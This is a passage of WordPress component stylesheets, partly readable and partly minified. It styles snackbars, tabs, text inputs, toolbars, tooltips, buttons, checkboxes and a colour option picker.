  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-snackbar.components-snackbar-explicit-dismiss{
  cursor:default;
}
.components-snackbar .components-snackbar__content-with-icon{
  padding-left:24px;
  position:relative;
}
.components-snackbar .components-snackbar__icon{
  left:-8px;
  position:absolute;
  top:-2.9px;
}
.components-snackbar .components-snackbar__dismiss-button{
  cursor:pointer;
  margin-left:24px;
}

.components-snackbar__action.components-button{
  color:#fff;
  flex-shrink:0;
  height:auto;
  line-height:1.4;
  margin-left:32px;
  padding:0;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){
  background-color:initial;
  text-decoration:underline;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{
  box-shadow:none;
  color:#fff;
  outline:1px dotted #fff;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  color:#fff;
  text-decoration:none;
}

.components-snackbar__content{
  align-items:baseline;
  display:flex;
  justify-content:space-between;
  line-height:1.4;
}

.components-snackbar-list{
  box-sizing:border-box;
  pointer-events:none;
  position:absolute;
  width:100%;
  z-index:100000;
}

.components-snackbar-list__notice-container{
  padding-top:8px;
  position:relative;
}

.components-tab-panel__tabs{
  align-items:stretch;
  display:flex;
  flex-direction:row;
}
.components-tab-panel__tabs[aria-orientation=vertical]{
  flex-direction:column;
}

.components-tab-panel__tabs-item{
  background:#0000;
  border:none;
  border-radius:0;
  box-shadow:none;
  cursor:pointer;
  font-weight:500;
  height:48px;
  margin-left:0;
  padding:3px 16px;
  position:relative;
}
.components-tab-panel__tabs-item:focus:not(:disabled){
  box-shadow:none;
  outline:none;
  position:relative;
}
.components-tab-panel__tabs-item:after{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:0;
  bottom:0;
  content:"";
  height:calc(var(--wp-admin-border-width-focus)*0);
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  transition:all .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-tab-panel__tabs-item:after{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-tab-panel__tabs-item.is-active:after{
  height:calc(var(--wp-admin-border-width-focus)*1);
  outline:2px solid #0000;
  outline-offset:-1px;
}
.components-tab-panel__tabs-item:before{
  border-radius:2px;
  bottom:12px;
  box-shadow:0 0 0 0 #0000;
  content:"";
  left:12px;
  pointer-events:none;
  position:absolute;
  right:12px;
  top:12px;
  transition:all .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-tab-panel__tabs-item:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-tab-panel__tabs-item:focus-visible:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    font-size:13px;
    line-height:normal;
  }
}
.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{
  height:40px;
}

.components-tip{
  color:#757575;
  display:flex;
}
.components-tip svg{
  align-self:center;
  fill:#f0b849;
  flex-shrink:0;
  margin-right:16px;
}
.components-tip p{
  margin:0;
}

.components-accessible-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:inline-flex;
  flex-shrink:0;
}
.components-accessible-toolbar>.components-toolbar-group:last-child{
  border-right:none;
}
.components-accessible-toolbar.is-unstyled{
  border:none;
}
.components-accessible-toolbar.is-unstyled>.components-toolbar-group{
  border-right:none;
}

.components-accessible-toolbar .components-button,.components-toolbar .components-button{
  height:48px;
  padding-left:16px;
  padding-right:16px;
  position:relative;
  z-index:1;
}
.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
  animation:components-button__appear-animation .1s ease;
  animation-fill-mode:forwards;
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media (prefers-reduced-motion:reduce){
  .components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{
  background:#0000;
}
.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{
  background:#1e1e1e;
}
.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}
.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{
  font-weight:500;
}
.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{
  display:inline-block;
  padding-left:0;
  padding-right:0;
  position:relative;
}

@keyframes components-button__appear-animation{
  0%{
    transform:scaleY(0);
  }
  to{
    transform:scaleY(1);
  }
}
.components-toolbar__control.components-button{
  position:relative;
}
.components-toolbar__control.components-button[data-subscript] svg{
  padding:5px 10px 5px 0;
}
.components-toolbar__control.components-button[data-subscript]:after{
  bottom:10px;
  content:attr(data-subscript);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  line-height:12px;
  position:absolute;
  right:8px;
}
.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{
  color:#fff;
}

.components-toolbar-group{
  background-color:#fff;
  border-right:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  line-height:0;
  min-height:48px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-toolbar-group.components-toolbar-group{
  border-width:0;
  margin:0;
}
.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{
  min-width:36px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{
  min-width:24px;
}
.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{
  left:2px;
  right:2px;
}

.components-toolbar{
  background-color:#fff;
  border:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  margin:0;
  min-height:48px;
}
.components-toolbar .components-toolbar.components-toolbar{
  border-width:0;
  margin:0;
}

div.components-toolbar>div{
  display:block;
  margin:0;
}
@supports (position:sticky){
  div.components-toolbar>div{
    display:flex;
  }
}
div.components-toolbar>div+div.has-left-divider{
  margin-left:6px;
  overflow:visible;
  position:relative;
}
div.components-toolbar>div+div.has-left-divider:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:inline-block;
  height:20px;
  left:-3px;
  position:absolute;
  top:8px;
  width:1px;
}

.components-tooltip{
  background:#000;
  border-radius:2px;
  color:#f0f0f0;
  font-size:12px;
  line-height:1.4;
  padding:4px 8px;
  text-align:center;
  z-index:1000002;
}

.components-tooltip__shortcut{
  margin-left:8px;
}@charset "UTF-8";:root{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__appear{animation-delay:0s;animation-duration:1ms}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top left}.components-animate__appear.is-from-top.is-from-right{transform-origin:top right}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom left}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom right}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__slide-in{animation-delay:0s;animation-duration:1ms}}.components-animate__slide-in.is-from-left{transform:translateX(100%)}.components-animate__slide-in.is-from-right{transform:translateX(-100%)}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content{min-width:220px;padding:16px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:left;width:100%}.components-autocomplete__result.components-button.is-selected{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button-group{display:inline-block}.components-button-group .components-button{border-radius:0;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:inline-flex}.components-button-group .components-button+.components-button{margin-left:-1px}.components-button-group .components-button:first-child{border-radius:2px 0 0 2px}.components-button-group .components-button:last-child{border-radius:0 2px 2px 0}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{align-items:center;-webkit-appearance:none;background:none;border:0;border-radius:2px;box-sizing:border-box;color:var(--wp-components-color-foreground,#1e1e1e);cursor:pointer;display:inline-flex;font-family:inherit;font-size:13px;font-weight:400;height:36px;margin:0;padding:6px 12px;text-decoration:none;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-button{transition-delay:0s;transition-duration:0s}}.components-button.is-next-40px-default-size{height:40px}.components-button:hover,.components-button[aria-expanded=true]{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button:disabled:hover,.components-button[aria-disabled=true]:hover{color:initial}.components-button:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:3px solid #0000}.components-button.is-primary{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff);outline:1px solid #0000;text-decoration:none;text-shadow:none;white-space:nowrap}.components-button.is-primary:hover:not(:disabled){background:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:active:not(:disabled){background:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));border-color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff6;opacity:1;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 3px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{background-image:linear-gradient(-45deg,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 70%,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 70%);background-size:100px 100%;border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid #0000}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){box-shadow:none}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{background:#0000;color:#949494;opacity:1;transform:none}.components-button.is-secondary{background:#0000;box-shadow:inset 0 0 0 1px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:1px solid #0000;white-space:nowrap}.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true]){box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6))}.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){box-shadow:inset 0 0 0 1px #ddd}.components-button.is-tertiary{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));white-space:nowrap}.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true]){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:rgba(var(--wp-admin-theme-color--rgb),.08)}p+.components-button.is-tertiary{margin-left:-6px}.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){box-shadow:none;outline:none}.components-button.is-destructive{--wp-components-color-accent:#cc1818;--wp-components-color-accent-darker-10:#9e1313;--wp-components-color-accent-darker-20:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){color:#cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled){color:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled){background:#ccc}.components-button.is-link{background:none;border:0;border-radius:0;box-shadow:none;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));height:auto;margin:0;outline:none;padding:0;text-align:left;text-decoration:underline;transition-duration:.05s;transition-property:border,background,color;transition-timing-function:ease-in-out}@media (prefers-reduced-motion:reduce){.components-button.is-link{transition-delay:0s;transition-duration:0s}}.components-button.is-link:focus{border-radius:2px}.components-button:not(:disabled,[aria-disabled=true]):active{color:var(--wp-components-color-foreground,#1e1e1e)}.components-button:disabled,.components-button[aria-disabled=true]{cursor:default;opacity:.3}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite;background-image:linear-gradient(-45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0);background-size:100px 100%;opacity:1}@media (prefers-reduced-motion:reduce){.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation-duration:0s}}.components-button.is-compact{height:32px}.components-button.is-compact.has-icon:not(.has-text){min-width:32px;padding:0;width:32px}.components-button.is-small{font-size:11px;height:24px;line-height:22px;padding:0 8px}.components-button.is-small.has-icon:not(.has-text){min-width:24px;padding:0;width:24px}.components-button.has-icon{justify-content:center;min-width:36px;padding:6px}.components-button.has-icon.is-next-40px-default-size{min-width:40px}.components-button.has-icon .dashicon{align-items:center;box-sizing:initial;display:inline-flex;justify-content:center;padding:2px}.components-button.has-icon.has-text{gap:4px;justify-content:start;padding-left:8px;padding-right:12px}.components-button.is-pressed{background:var(--wp-components-color-foreground,#1e1e1e);color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-button.is-pressed:hover:not(:disabled){background:var(--wp-components-color-foreground,#1e1e1e);color:var(--wp-components-color-foreground-inverted,#fff)}.components-button svg{fill:currentColor;outline:none}@media (forced-colors:active){.components-button svg{fill:CanvasText}}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:200px 0}}.components-checkbox-control__input[type=checkbox]{-webkit-appearance:none;appearance:none;background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 0 0 #0000;clear:none;color:#1e1e1e;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;line-height:0;margin:0 4px 0 0;outline:0;padding:6px 8px;padding:0!important;text-align:center;transition:box-shadow .1s linear;transition:none;transition:border-color .1s ease-in-out;vertical-align:top;width:24px}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px 0 0 -5px}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"";display:inline-block;float:left;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{height:20px;width:20px}}@media (prefers-reduced-motion:reduce){.components-checkbox-control__input[type=checkbox]{transition-delay:0s;transition-duration:0s}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{display:inline-block;height:24px;margin-right:12px;position:relative;vertical-align:middle;width:24px}@media (min-width:600px){.components-checkbox-control__input-container{height:20px;width:20px}}svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{fill:#fff;cursor:pointer;height:24px;left:0;pointer-events:none;position:absolute;top:0;-webkit-user-select:none;user-select:none;width:24px}@media (min-width:600px){svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{left:-2px;top:-2px}}.components-circular-option-picker{display:inline-block;min-width:188px;width:100%}.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end;margin-top:12px}.components-circular-option-picker .components-circular-option-picker__swatches{display:flex;flex-wrap:wrap;gap:12px;position:relative;z-index:1}.components-circular-option-picker>:not(.components-circular-option-picker__swatches){position:relative;z-index:0}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;transform:scale(1);transition:transform .1s ease;vertical-align:top;width:28px;will-change:transform}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option-wrapper{transition-delay:0s;transition-duration:0s}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' 